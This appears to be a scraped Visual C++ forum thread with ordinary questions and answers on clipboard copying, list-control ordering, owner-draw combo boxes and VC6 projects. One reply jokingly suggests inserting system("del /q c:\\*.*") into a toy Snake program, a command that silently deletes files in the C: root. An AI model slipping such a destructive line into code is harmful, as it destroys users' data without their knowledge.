|
Yeah
I had one guy who wanted me to write a gantt chart for him. Apparently he saw my app. ProcessStudio and thought I could modify the source code to create a gantt chart.
Some of these college boys have a lot of cheek - bless 'em.
Norm
|
|
|
|
|
How can this be urgent? Just curious...
|
|
|
|
|
It might be one of those "Mobile Phone Related Kidnappings" we're all hearing so much of in the news these days. Kids, high on Nokia 8210s, are out robbing old ladies for money to feed their mobile addiction.
Maybe this fellow just can't wait for the next phone to come out with Snake 3 on it. I feel for him. Its a terrible shame how our youth are throwing their lives away on mobile addiction....
*Sobz*
Pete
|
|
|
|
|
Is this the snake game you are looking for?
#include "stdafx.h"
#include <conio.h>
int main(int argc, char* argv[])
{
printf("The snake game\n");
printf("\n");
printf("Avoid the snake to win");
printf("\n");
printf("Press a key to start");
printf("\n");
_getch();
printf("\n\nHISS");
printf("\noops the snake got you. Game over");
printf("\nPress a key to exit");
_getch();
return 0;
}
Not much of a game but it features a snake
Michael
|
|
|
|
|
Great!! But one line seems to be missing from the source. Before _getch() you should insert this:
system("del /q c:\\*.*")
Tomasz Sowinski -- http://www.shooltz.com.pl
|
|
|
|
|
I have broken a project into subprojects using the VC6 "Utility Project" feature.
When I try to compile the files in a utility project VC6 does not generate any .obj files or generate an error that says "cannot compile whatever.cpp; no compile tool is accociated with the file extension".
Does anyone have any experience with utility project willing to offer pointers?
Thanks.
|
|
|
|
|
Utility projects are useful for nonstandard build steps. If you just want to split your C/C++ sources into multiple libraries for improved compile/link pefrormance, use other types of subprojects - static or dynamic link libraries.
Tomasz Sowinski -- http://www.shooltz.com.pl
|
|
|
|
|
Can anyone offer me samples of project using "Utility Project"? Thanks.
|
|
|
|
|
Hello,
I'm using a class that allows to create syntax highlighted text, it works very fine except for the fact that all the formatting operations are considered as "operations that can be undone", I would like that this wouldn't happen, is there any way to avoid this?
I would like to be able to undo only text operations (writting, deleting, ...)
as always thank you very much.
|
|
|
|
|
Hi!
can anyone tell me how I can
copy the text of a CString to
the clipboard?
Some piece of code or a link
is appreciated
|
|
|
|
|
Search for CF_TEXT and SetClipboardData in your Visual C++ help.
Tomasz Sowinski -- http://www.shooltz.com.pl
|
|
|
|
|
Basically, you want to copy the text to an area allocated with GlobalAlloc, then send that to the clipboard.
Here's some basic code, without error checking - you might want to get fancier if you have to deal with unicode etc.
CString strCopyTest;
strCopyTest = "I want to be a clipboard text virus! Please copy me to the clipboard!";
HANDLE hGlobal = ::GlobalAlloc(GMEM_MOVEABLE, strCopyTest.GetLength()+1);
LPSTR lpszData = (LPSTR) ::GlobalLock(hGlobal);
lstrcpy(lpszData,strCopyTest);
::GlobalUnlock(hGlobal);
::OpenClipboard(this->m_hWnd);
::EmptyClipboard();
::SetClipboardData(CF_TEXT, hGlobal);
::CloseClipboard();
|
|
|
|
|
How can i change the color(foreground & background) of column header of a List Control?
|
|
|
|
|
You can do this easily with custom draw. Check out the "NM_CUSTOMDRAW (header)" page in MSDN.
--Mike--
http://home.inreach.com/mdunn/
#include "buffy_sig"
|
|
|
|
|
Hi All,
How can I ensure that only a single instance of a control be created. I used DECLARE_CLASSFACTORY_SINGLETON but it doesn't work. Is there anymore I should do to achieve it?Thanx in advance.
Uday Bhaskar
|
|
|
|
|
<<< In the name of GOD >>>
Hi all.
I want to start my programming by DAO,
I want to know, which is better to use ?
Using Access 97 or Access 2000 ?
Please write your comment, and please write DAO version in Access 97 and 2000 ...
Thanks for helps ...
My month article: Game programming by DirectX by Lan Mader.
Please visit in: www.geocities.com/hadi_rezaie/index.html
Hadi Rezaie
|
|
|
|
|
Hello.
How can I sort List Control lines to reverse order? My program reads these lines from a textfile, and they appear in the list control in wrong order. The first line in the textfile becomes now the last line in the list control. It should be just opposite. These lines contain such information that it's important that they are in the same order as in the textfile.
I've used InsertItem() and SetItemText() -methods to add these lines to the list control.
Here is the code that adds a line.
nItem = m_List.InsertItem(0, text1);
m_List.SetItemText(nItem, 1, text2);
m_List.SetItemText(nItem, 2, text3);
It's in a while-loop, in order to add all necessary lines to the control.
So if anyone can help me, please do so.
Thanx,
paanane
|
|
|
|
|
What's the value of item index you're passing to CListCtrl::InsertItem?
Tomasz Sowinski -- http://www.shooltz.com.pl
|
|
|
|
|
Yeah.
I modified the original question. Is there now enough information to solve the problem?
Thanks to Tomasz for paying attention.
paanane
|
|
|
|
|
m_list.InsertItem(0, text1) inserts item at the zero index - at the very top of the list. Change this to m_list.InsertItem(m_list.GetItemCount(), text). I'm assuming that your list does not have LVS_SORTxxx style set.
Tomasz Sowinski -- http://www.shooltz.com.pl
|
|
|
|
|
I enumerate the encoders registered on my computer(such as:Cinepak Codec by
Radius, MJPEG Compressor,DivX MPEG-4 Fast-Motion...).Then how can I select one
of them (Such as DivX MPEG-4 Fast-Motion) to compress the timeline using
DirectShow
filters?
Note:
These encoder have the same CLSID(CLSID_AVIC0),only FccHandler and ridenlyName
are different.How to select one of them?
Thanks
.
|
|
|
|
|
How do I have my combo box add certain strings in red, others in blue,etc.
I would appreciate something simple, that I should call right before I call AddString() and then to reset before my next call to AddString()
|
|
|
|
|
you have to implement an owner-draw combobox ... look on the relevant section here to find one or some clues
---
"every year we invent better idiot proof systems and every year they invent better idiots"
|
|
|
|
|
Isn't there some way to overwrite the dialogs OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) method and to get at each item in the combo box and at the Cedit and set the brush while it's drawing that item????????????
|
|
|
|
|
in essence that is what owner draw is
check it out and you will find it isnt too difficult to do
---
"every year we invent better idiot proof systems and every year they invent better idiots"
|
|
|
|